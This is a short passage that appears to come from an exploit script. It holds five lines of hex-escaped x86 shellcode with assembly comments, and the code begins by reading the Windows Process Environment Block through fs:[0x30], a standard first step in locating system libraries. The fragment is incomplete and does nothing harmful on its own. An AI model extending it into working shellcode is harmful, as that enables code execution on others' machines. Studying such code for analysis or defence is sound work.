"\x60"                                 + # pusha
    "\x6A\x30"                             + # push byte +0x30
    "\x58"                                 + # pop eax
    "\x99"                                 + # cdq
    "\x64\x8B\x18"                         + # mov ebx,[fs:eax]